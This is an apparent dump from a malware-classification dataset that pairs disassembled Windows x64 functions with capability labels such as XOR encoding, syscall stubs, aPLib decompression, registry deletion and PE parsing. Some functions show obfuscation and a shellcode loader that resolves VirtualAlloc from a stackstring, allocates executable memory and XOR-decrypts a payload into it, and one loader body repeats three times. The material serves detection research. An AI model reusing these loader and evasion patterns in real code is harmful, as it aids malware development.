joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140118e84
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
xchg r15, r15
push rbp
xchg r9, rbp
mov r9, rsp
xchg rbp, r9
sub rsp, 0x80
xor esi, esi
mov dword [rbp - 0x50], 0x314c7052
add dword [rbp - 0x50], 0x36a46cf1
sub dword [rbp - 0x50], 0x2c5f6751
sub dword [rbp - 0x50], 0x3b307537
mov dword [rbp - 0x4c], 0x21165094
xor dword [rbp - 0x4c], 0x6e2ec1fe
xor dword [rbp - 0x4c], 0x737659dc
sub dword [rbp - 0x4c], 0x3bf5c826
mov dword [rbp - 0x48], 0x349eba5a
add dword [rbp - 0x48], 0x255c7233
xor dword [rbp - 0x48], 0x37d0164e
sub dword [rbp - 0x48], 0x63d65b51
sub dword [rbp - 0x48], 0x9e9dec4
mov dword [rbp - 0x44], 0x59a2597f
sub dword [rbp - 0x44], 0x412d15ac
add dword [rbp - 0x44], 0x5035a36d
sub dword [rbp - 0x44], 0x6854e6b1
xchg rsi, r11
mov qword [rbp + 0x10], r11
xchg rsi, r11
lea ebx, [rsi + 1]
mov dword [rsp - 0x28], esi
mov rax, qword [rbp + 0x10]
mov rcx, qword [rbp + 0x10]
xchg rsp, rax
mov rsp, qword [rbp + 0x10]
xchg rsp, rax
and cl, 3
shl cl, 3
mov rbp, rbp
movzx edx, word [rbp + rax*2 - 0x50]
mov eax, 0x65aee7c2
sub eax, 0x5b42f2da
add eax, 0x5f0825c2
sub eax, 0x2dde721e
xor eax, 0x214a9b67
shr eax, cl
xchg r10, r10
movzx ecx, al
mov rax, qword [rbp + 0x10]
xor cx, dx
mov r15, r15
mov word [rbp + rax*2 - 0x20], cx
mov rax, qword [rbp + 0x10]
add rax, rbx
mov rcx, rcx
mov qword [rbp + 0x10], rax
xchg r12, rax
mov r12, qword [rbp + 0x10]
xchg r12, rax
cmp rax, 8
jb 0x140118f35
mov r10, r10
lea rax, [rbp - 0x20]
mov word [rbp - 0x10], si
xorps xmm0, xmm0
mov qword [rbp - 0x38], rax
mov dword [rsp - 0x2c], 0x61caf2c5
lea r9, [rbp - 0x30]
mov dword [rbp - 0x40], 0x18c96a6f
xor dword [rbp - 0x40], 0x25aae4b6
add dword [rbp - 0x40], 0x81430df
sub dword [rbp - 0x40], 0xc18f7d4
sub dword [rbp - 0x40], 0x394cc7d4
lea r8, [rbp - 0x40]
mov dword [rsp - 0x34], ebp
mov dword [rsp + 0x20], esi
xor edx, edx
xor ecx, ecx
mov dword [rsp - 0x28], 0x744fbf25
xchg r12, rbp
movups xmmword [r12 - 0x30], xmm0
xchg r12, rbp
call fcn.140133b40
xchg rdx, rdx
xchg rsi, rdi
mov rsi, rax
xchg rsi, rdi
test rax, rax
xchg r11, r11
je 0x14011905a
xchg r15, rax
mov rcx, r15
xchg r15, rax
call fcn.14010f6b8
xchg r15, r15
test al, al
je 0x14011905a
lea rdx, [rbp - 0x40]
mov dword [rsp - 0x44], esi
xchg rdi, rdx
mov rcx, rdx
xchg rdi, rdx
call fcn.14010e4e8
mov dword [rsp - 0x20], edi
test al, al
jne 0x140119060
mov bl, sil
xchg rcx, rcx
xor eax, eax
lea r11, [rsp + 0x80]
xchg r14, rsi
mov r14, qword [r11 + 0x20]
xchg rsi, r14
lea rdi, [rbp - 0x20]
mov dword [rsp - 0x40], 0x34a31ea7
lea ecx, [rax + 8]
rep stosb byte [rdi], al
xchg rsi, rdi
mov rsi, qword [r11 + 0x28]
xchg rdi, rsi
mov al, bl
mov rbx, qword [r11 + 0x18]
mov dword [rsp - 0x40], 0xbeb50f3
xchg r14, r11
mov rsp, r14
xchg r11, r14
pop rbp
mov dword [rsp - 0x1c], ecx
ret
Function at 0x14011d270
Capabilities:
Encode data using xor

Disassembly:
push rbx
add rsp, 0x30357218
sub rsp, 0x30357448
mov rdx, qword [0x1401412b0]
mov rbx, rcx
xchg rdx, rdx
rol rdx, 0x15
rol rdx, 0x1b
rol rdx, 1
rol rdx, 1
rol rdx, 3
rol rdx, 1
movabs rcx, 0xe3c612632bcea504
sub rcx, 0xe47a8e9
add rcx, 0x12d14606
xor rcx, 0x1d2e4709
add rcx, 0x7fffffff
add rcx, 0x3e6e1d13
add rdx, rcx
mov r15, r15
movabs rax, 0x4cf9b71d7b5252e2
sub rax, 0x446930dc
sub rax, 0x2cfb568b
add rax, 0x7fffffff
add rax, 0x27bc09a9
xor rdx, rax
xor r9d, r9d
ror rdx, 0x12
ror rdx, 1
ror rdx, 1
ror rdx, 1
ror rdx, 1
movabs rax, 0x20ca927f39250291
sub rax, 0x32d748ed
add rax, 0xb50a221
add rax, 0x7fffffff
xor rax, 0x5d3d1d9c
xor rdx, rax
mov r14, r14
xor ecx, ecx
rol rdx, 1
rol rdx, 2
rol rdx, 2
rol rdx, 9
rol rdx, 0x19
rol rdx, 6
rol rdx, 1
movabs rax, 0x6704627c228cc480
sub rax, 0x5da94e5
add rax, 0x108130d7
sub rax, 0x5ded33b
add rax, 0x56cd1923
add rax, rdx
mov dword [rsp - 0x38], edx
lea r8d, [r9 + 8]
lea rdx, [rsp + 0x20]
call rax
lea rcx, [rbx + 8]
xchg r9, r9
xorps xmm0, xmm0
xchg rcx, rdx
mov qword [rbx], rdx
xchg rdx, rcx
xchg r14, rcx
movups xmmword [r14], xmm0
xchg r14, rcx
xchg r12, rcx
movups xmmword [r12 + 0x10], xmm0
xchg rcx, r12
xchg rcx, rbx
movups xmmword [rbx + 0x20], xmm0
xchg rbx, rcx
test eax, eax
je 0x14011d4db
lea rax, [rsp + 0x20]
xchg r12, r12
nop
movabs rdx, 0xffffffff034ac456
xor rdx, 0x5a0d9659
sub rdx, 0xff07ce0
add rdx, 0x7fffffff
xor rdx, 0x36a92ad1
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], 0
mov rsi, rsi
jne 0x14011d3f3
xchg r12, rbx
mov rcx, r12
xchg r12, rbx
xchg r10, rdx
mov qword [rbx + 0x38], r10
xchg rdx, r10
call fcn.140017b4c
xor r8d, r8d
xchg r14, r14
xchg rdx, rax
mov rax, rdx
xchg rdx, rax
mov ecx, 0xa9e70b1
xor ecx, 0x3346b09e
add ecx, 0x700aa6f
xor ecx, 0x31f729a5
sub ecx, 0x564f0f50
cmp qword [rbx + 0x38], r8
jbe 0x14011d4eb
mov dword [rsp - 0xc], esp
lea r9, [rsp + 0x20]
mov r10d, 0x4138e328
sub r10d, 0x1ecc512f
add r10d, 0x4d7e0d66
sub r10d, 0x6fea9e60
sub r9, rax
mov r15, r15
nop word [rax + rax]
movzx eax, cx
lea rdx, [rdx + 2]
and ax, r10w
mov dword [rsp - 0x34], 0x618835ae
ror ecx, 5
ror ecx, 3
xor ax, word [r9 + rdx - 2]
mov dword [rsp - 0x24], ebx
inc r8
mov word [rdx - 2], ax
cmp r8, qword [rbx + 0x38]
xchg r10, r10
jb 0x14011d485
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
sub rsp, 0x44a2005d
add rsp, 0x44a2028d
nop
mov rbx, qword [rsp]
add rsp, 8
ret
xor r8d, r8d
xchg r9, r9
xchg r15, r8
mov qword [rbx + 0x38], r15
xchg r8, r15
mov rax, rbx
xchg rsp, rsp
neg rsp
add rsp, 0xfffffffffffffdd0
neg rsp
nop
mov rbx, qword [rsp]
add rsp, 8
ret
Function at 0x14011d510
Capabilities:
Encode data using xor

Disassembly:
push rbx
sub rsp, 0x230
mov dword [rsp - 0x28], ebx
mov r8, qword [0x140141450]
xchg rcx, rsi
mov rbx, rsi
xchg rsi, rcx
not r8
mov dword [rsp - 0x18], 0x4212ed32
movabs rcx, 0xbb92dea9678afcf9
sub rcx, 0x15d114a8
sub rcx, 0xcc44b22
xor rcx, 0x4d5ac76c
xor rcx, 0x145fa41b
ror r8, 0x10
ror r8, 1
mov edx, 0x48226df9
sub edx, 0x1549e48
sub edx, 0x151e5d2e
sub edx, 0x31af717f
add r8, rcx
lea rcx, [rsp + 0x20]
mov rdx, rdx
not r8
rol r8, 9
rol r8, 4
call r8
mov dword [rsp - 0x30], esi
lea rax, [rbx + 8]
xorps xmm0, xmm0
mov qword [rbx], rax
mov dword [rsp - 0x40], ebx
nop
movabs rdx, 0xffffffff33d004f0
add rdx, 0xe62b0ce
xor rdx, 0x36f4b480
add rdx, 0x7fffffff
xor rdx, 0xb39fec2
movups xmmword [rax], xmm0
mov dword [rsp - 0x24], 0x14d9a3f7
xchg rbx, rax
movups xmmword [rbx + 0x10], xmm0
xchg rbx, rax
xchg r15, rax
movups xmmword [r15 + 0x20], xmm0
xchg r15, rax
lea rax, [rsp + 0x20]
mov rcx, rcx
nop dword [rax]
inc rdx
cmp word [rax + rdx*2], 0
jne 0x14011d5f6
mov dword [rsp - 0x1c], esi
mov rcx, rbx
xchg rcx, rdx
mov qword [rbx + 0x38], rcx
xchg rcx, rdx
call fcn.140017b4c
xor r8d, r8d
mov dword [rsp - 0x34], ecx
mov edx, 0x32227069
xor edx, 0x689d2fd0
add edx, 0x1ae1108a
add edx, 0x150fb2f
xor edx, 0x6c2e5899
cmp qword [rbx + 0x38], r8
jbe 0x14011d6a7
mov dword [rsp - 0x20], ebp
lea r9, [rsp + 0x20]
mov r10d, 0x50fb2039
xor r10d, 0x1c8ba96a
xor r10d, 0x25d9946e
sub r10d, 0x69a91c3e
sub r9, rax
xchg rdx, rdx
movzx ecx, dx
lea rax, [rax + 2]
and cx, r10w
ror edx, 3
ror edx, 2
ror edx, 1
ror edx, 1
ror edx, 1
xor cx, word [r9 + rax - 2]
inc r8
mov rdi, rdi
mov word [rax - 2], cx
cmp r8, qword [rbx + 0x38]
jb 0x14011d672
mov dword [rsp - 0x34], ebx
xchg rbx, rsi
mov rax, rsi
xchg rsi, rbx
sub rsp, 0xfffffffffffffdd0
xchg rdx, rdx
pop rbx
ret
Function at 0x14011d6c0
Capabilities:
Encode data using xor

Disassembly:
push rbx
mov dword [rsp - 0x38], 0x425eb4ce
add rsp, 0xfffffffffffffdd0
mov r8, qword [0x1401413e0]
xchg rbx, rcx
mov rcx, rbx
xchg rbx, rcx
ror r8, 0x13
ror r8, 1
ror r8, 1
ror r8, 1
ror r8, 3
ror r8, 2
ror r8, 1
ror r8, 1
ror r8, 1
ror r8, 1
ror r8, 1
movabs rcx, 0x711973a874601b93
sub rcx, 0x2addb29a
add rcx, 0x2e5dc86f
sub rcx, 0x1c8eaf84
add rcx, 0x3d368a18
add r8, rcx
xchg rbx, rbx
movabs rax, 0xb086fed7fc75786
sub rax, 0x2cf3f545
sub rax, 0x115a1f32
sub rax, 0x36739516
add rax, 0x7fffffff
xor rax, 0x50af0fd0
not r8
mov dword [rsp - 0x3c], 0x3cf24352
lea rcx, [rsp + 0x20]
add r8, rax
mov edx, 0x51b1e7a3
add edx, 0x838eaa6
sub edx, 0x136af485
sub edx, 0x17537e43
sub edx, 0x2f2c5e7d
rol r8, 6
mov dword [rsp - 0x38], esp
call r8
lea rax, [rbx + 8]
xorps xmm0, xmm0
mov qword [rbx], rax
mov r12, r12
nop
movabs rdx, 0xffffffff7988d9fb
sub rdx, 0x27664ebe
xor rdx, 0x4a6cd4e9
add rdx, 0x1f4ec0d7
add rdx, 0x7fffffff
add rdx, 0x4862df55
movups xmmword [rax], xmm0
mov r11, r11
xchg r13, rax
movups xmmword [r13 + 0x10], xmm0
xchg r13, rax
xchg r11, rax
movups xmmword [r11 + 0x20], xmm0
xchg r11, rax
lea rax, [rsp + 0x20]
inc rdx
mov dword [rsp - 0x40], esi
cmp word [rax + rdx*2], 0
jne 0x14011d7ec
mov rcx, rbx
xchg rdx, r13
mov qword [rbx + 0x38], r13
xchg rdx, r13
call fcn.140017b4c
xor r8d, r8d
mov edx, 0x6d9d8cd9
add edx, 0xea0fcc
add edx, 0x7c81222
sub edx, 0x5b707adc
cmp qword [rbx + 0x38], r8
jbe 0x14011d8a6
lea r9, [rsp + 0x20]
mov dword [rsp - 0x1c], ecx
mov r10d, 0x5e05dbc0
xor r10d, 0x44320a87
add r10d, 0x2e198ca4
add r10d, 0x277987f8
sub r10d, 0x6fcae4e4
sub r9, rax
nop dword [rax + rax]
mov dword [rsp - 0x2c], edx
movzx ecx, dx
lea rax, [rax + 2]
and cx, r10w
mov dword [rsp - 0x38], 0x2da6bf84
ror edx, 4
ror edx, 3
ror edx, 1
xor cx, word [r9 + rax - 2]
xchg rbx, rbx
inc r8
mov word [rax - 2], cx
cmp r8, qword [rbx + 0x38]
jb 0x14011d86e
xchg rdi, rdi
xchg rbx, rax
mov rbx, rax
xchg rbx, rax
sub rsp, 0x7dd7db77
add rsp, 0x7dd7dda7
nop
add rsp, 8
mov rbx, qword [rsp - 8]
ret
Function at 0x140133b40
Capabilities:
Execute syscall

Disassembly:
mov r10, rcx
mov eax, dword [0x140142004]
mov rdi, rdi
cmp qword [0x140142018], 0
jne 0x14008dd40
syscall
xchg r13, r13
ret
jmp 0x14008e846
Function at 0x1401362a0
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov dword [rsp - 0x24], esp
xchg rbp, rsi
mov qword [rsp + 0x10], rbp
xchg rsi, rbp
xchg rdi, r9
mov qword [rsp + 0x18], r9
xchg rdi, r9
nop
sub rsp, 8
mov qword [rsp], rbp
nop
sub rsp, 8
mov qword [rsp], r12
push r14
xchg rsi, rsp
mov rbp, rsi
xchg rsp, rsi
nop
sub rsp, 0x2616e137
add rsp, 0x2616e0c7
xchg r9, r8
mov rdi, r9
xchg r9, r8
xchg rdx, r14
mov rdx, r14
xchg r14, rdx
xchg rdx, rsi
mov rdx, rcx
xchg rsi, rdx
movabs r12, 0x1f3d0b5f246e3bd7
xor r12, 0x1bb59c42
sub r12, 0x1d534ce4
sub r12, 0x17cacc8e
xor r12, 0x5e1082b0
cmp r9d, 0x60001
xchg rsp, rsp
jne 0x1401364ba
mov dword [rbp - 0x40], 0x325dc5fe
sub dword [rbp - 0x40], 0x71aa914
xor dword [rbp - 0x40], 0x755f00d1
xor dword [rbp - 0x40], 0x6fbf495
sub dword [rbp - 0x40], 0x16863fe5
xor edx, edx
mov dword [rbp - 0x3c], 0x16327aa3
xor dword [rbp - 0x3c], 0x5460e554
sub dword [rbp - 0x3c], 0x52d27f
add dword [rbp - 0x3c], 0x5f5d3d0d
mov dword [rbp - 0x38], 0x24b61645
add dword [rbp - 0x38], 0x17238e0c
xor dword [rbp - 0x38], 0x3a3d7c6c
add dword [rbp - 0x38], 0x66f70844
mov ecx, edx
mov eax, 0x44c57629
sub eax, 0x3c63d5db
xor eax, 0x116bef69
sub eax, 0x605eeb0
add eax, 0x4108c211
rol eax, cl
mov dword [rsp - 0x1c], ebx
xor al, byte [rbp + rdx - 0x40]
mov byte [rbp + rdx - 0x34], al
inc rdx
mov dword [rsp - 0x28], edx
cmp rdx, 0xc
jb 0x140136399
mov r9d, 0x526f6d69
add r9d, 0x2cfddd8e
sub r9d, 0x767f4f6e
xor r9d, 0x8edf476
mov qword [rsp + 0x20], 0xc2e9b4
xor qword [rsp + 0x20], 0x53a4ac68
xor qword [rsp + 0x20], 0x373e6252
sub qword [rsp + 0x20], 0x64582782
lea r8, [rbp - 0x34]
mov rdx, rdi
mov dword [rsp - 0x40], 0x32320aa
xchg r12, rcx
mov r12, r14
xchg r12, rcx
call fcn.140133720
mov dword [rsp - 0x10], ecx
xchg r9, rax
mov rbx, r9
xchg r9, rax
lea rdi, [rbp - 0x34]
mov r11, r11
xor eax, eax
lea ecx, [rax + 0xc]
rep stosb byte [rdi], al
test rbx, rbx
mov dword [rsp - 0x28], 0x60ef3c70
je 0x140136507
lea rdx, [rbp - 0x28]
lea rcx, [rbx + 0xc]
xchg rcx, rcx
call fcn.1400900dc
test dword [rbp - 7], 0x1000
jne 0x140136507
cmp byte [rbp - 0x1d], 0xe8
mov r10, r10
jne 0x140136507
lea rdx, [rbx + 0xc]
xchg r8, rcx
mov r8, r14
xchg r8, rcx
call fcn.140085b50
movzx edx, byte [rbp - 0x28]
add edx, dword [rbp - 0x13]
mov dword [rsp - 0x40], 0x5d26580
add edx, eax
mov rax, qword [rsi + 8]
xor rax, r12
add rdx, rax
xchg r15, r15
xor rdx, r12
mov qword [rsi + 0x20], rdx
cmp qword [rsi + 0x20], r12
setne al
xchg rbx, rbx
lea r11, [rsp + 0x70]
xchg rbx, rdi
mov rdi, qword [r11 + 0x20]
xchg rbx, rdi
xchg rsi, r12
mov r12, qword [r11 + 0x28]
xchg r12, rsi
mov rdi, qword [r11 + 0x30]
xchg r12, rsp
mov r12, r11
xchg rsp, r12
nop
add rsp, 8
mov r14, qword [rsp - 8]
nop
mov r12, qword [rsp]
add rsp, 8
pop rbp
mov dword [rsp - 0xc], 0x4a58ad62
ret
xor al, al
mov r14, r14
jmp 0x1401364c4
Function at 0x140847058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1408471df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140847089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14084706f
add dl, dl
jne 0x140847096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408470f6
xor eax, eax
add dl, dl
jne 0x1408470a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1408471ad
add dl, dl
jne 0x1408470b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408470c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408470d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1408470dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1408470ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14084707e
mov eax, 1
add dl, dl
jne 0x140847106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140847113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1408470fb
sub eax, ebx
mov ebx, 1
jne 0x14084714c
mov ecx, 1
add dl, dl
jne 0x14084712e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14084713b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140847123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14084707e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140847168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140847175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14084715d
cmp eax, 0x7d00
jae 0x14084719b
cmp eax, 0x500
jb 0x140847196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14084707e
cmp eax, 0x7f
ja 0x14084719e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14084707e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1408471d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14084707e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140001394
Capabilities:
Delete registry key

Disassembly:
sub rsp, 0x28
lea rdx, str.SOFTWAREMicrosoftInternet_ExplorerExtensions08B0E5C0_4FCB_11CF_AAA5_00401C608501
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
xor ecx, ecx
test eax, eax
sete cl
mov eax, ecx
add rsp, 0x28
ret

Function at 0x140002f84
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rcx
mov rdi, rdx
mov rcx, qword [rcx + 0x10]
test rcx, rcx
je 0x140002faa
mov r8, rdx
mov rdx, qword [rbx]
call fcn.140003a08
jmp 0x140003011
cmp byte [0x140016388], 0
jne 0x140002fee
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140002fde
lea rdx, str.RegDeleteKeyExW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140016380], rax
jmp 0x140002fe5
mov rax, qword [0x140016380]
mov byte [0x140016388], 1
jmp 0x140002ff5
mov rax, qword [0x140016380]
mov rcx, qword [rbx]
mov rdx, rdi
test rax, rax
je 0x14000300b
mov r8d, dword [rbx + 8]
xor r9d, r9d
call rax
jmp 0x140003011
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret

Function at 0x140003a08
Capabilities:
Delete registry key

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
cmp qword [rcx], 0
mov rdi, r8
mov rsi, rdx
mov rbx, rcx
je 0x140003a6b
lea rcx, str.Advapi32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140003a7f
lea rdx, str.RegDeleteKeyTransactedW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x140003a7f
mov rcx, qword [rbx]
xor r9d, r9d
and qword [rsp + 0x28], 0
xor r8d, r8d
mov qword [rsp + 0x20], rcx
mov rdx, rdi
mov rcx, rsi
call rax
jmp 0x140003a84
cmp dword [rcx + 8], 0
je 0x140003a7f
mov rdx, rdi
mov rcx, rsi
call qword [sym.imp.ADVAPI32.dll_RegDeleteKeyW]
jmp 0x140003a84
mov eax, 1
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
Function at 0x14000867d
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000869b
je 0x1400086a6
call 0x1400086f5
mov bl, 0xc7
lahf
pop rsi
jne 0x140008686
call 0x14000869e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140008686
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400086d4
je 0x140008712
invalid
je 0x140008723
jne 0x140008686
lea rax, [0x1400085ac]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000430d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400087c4
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000881d
je 0x140008823
call 0x140008814
fild qword [rdi - 0x7c]
jmp 0x174f44f96
jne 0x1400087e6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400087a6
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x140008690
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000869b
je 0x1400086a6
call 0x1400086f5
mov bl, 0xc7
lahf
pop rsi
jne 0x140008686
call 0x14000869e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140008686
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400086d4
je 0x140008712
invalid
je 0x140008723
jne 0x140008686
lea rax, [0x1400085ac]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000430d]
dec rcx
mov dl, byte [r9 + rcx]
mov byte [rax + rcx], dl
test rcx, rcx
jne 0x1400087c4
mov rcx, 0x3fe0
mov r9d, 0x15c13
mov r10d, 0x92819200
dec rcx
mov dl, byte [rax + rcx]
xor dl, r9b
mov byte [rax + rcx], dl
sub r10d, 0x26fe2
add r9d, r10d
add r9d, 0x26fe2
add r10d, 0x26fe2
rol r9d, 1
test rcx, rcx
jne 0x14000881d
je 0x140008823
call 0x140008814
fild qword [rdi - 0x7c]
jmp 0x174f44f96
jne 0x1400087e6
xor al, 1
add byte [rbp - 0x7f], dh
jne 0x1400087a6
add rax, 0x1ed4
mov rsp, rbp
pop rbp
ret
Function at 0x1400086bc
Capabilities:
Contain obfuscated stackstrings

Disassembly:
mov rax, qword [rsp + 8]
and rdx, 0
dec rax
cmp word [rax], 0x5a4d
jne 0x14000869b
je 0x1400086a6
call 0x1400086f5
mov bl, 0xc7
lahf
pop rsi
jne 0x140008686
call 0x14000869e
mov ecx, edi
xor eax, 0x3c508b0b
mov edx, dword [rax + 0x3c]
cmp edx, 0x400
jae 0x140008686
sub rax, 0x48b5
add rdx, rax
add rdx, 0x48b5
add rax, 0x48b5
cmp word [rdx], 0x4550
jne 0x1400086d4
je 0x140008712
invalid
je 0x140008723
jne 0x140008686
lea rax, [0x1400085ac]
sub rsp, 8
mov qword [rsp], rcx
mov rcx, 0xffffffffffff2810
add rcx, 0xd960
add rcx, rax
push rcx
xchg rcx, rax
add rsp, 8
mov rcx, qword [rsp - 8]
mov rcx, qword [rsp]
add rsp, 8
call rax
lodsd eax, dword [rsi]
push rbp
movabs byte [0x894808ec8348c391], al
sub al, 0x24
mov rbp, rsp
mov qword [rsp - 8], 0
ret
add byte [rax], al
add byte [rax], al
sub rsp, 8
pop rax
add rax, rcx
sub rsp, 0x1e0
sub rsp, 0x20
and spl, 0xf0
mov byte [rbp - 0xd], 0x56
mov byte [rbp - 0xc], 0x69
mov byte [rbp - 0xb], 0x72
mov byte [rbp - 0xa], 0x74
mov byte [rbp - 9], 0x75
mov byte [rbp - 8], 0x61
mov byte [rbp - 7], 0x6c
mov byte [rbp - 6], 0x41
mov byte [rbp - 5], 0x6c
mov byte [rbp - 4], 0x6c
mov byte [rbp - 3], 0x6f
mov byte [rbp - 2], 0x63
mov byte [rbp - 1], 0
mov qword [rsp - 8], rsi
sub rsp, 8
add rsp, 8
mov rcx, qword [rsp - 8]
lea rdx, [rbp - 0xd]
call rax
sub rsp, 8
mov qword [rsp], 0
add rsp, 8
mov rcx, qword [rsp - 8]
mov rdx, 0x61be
mov r8, 0x3000
mov r9, 0x40
call rax
mov rcx, 0x4615
lea r9, [0x14000430d]
dec rcx
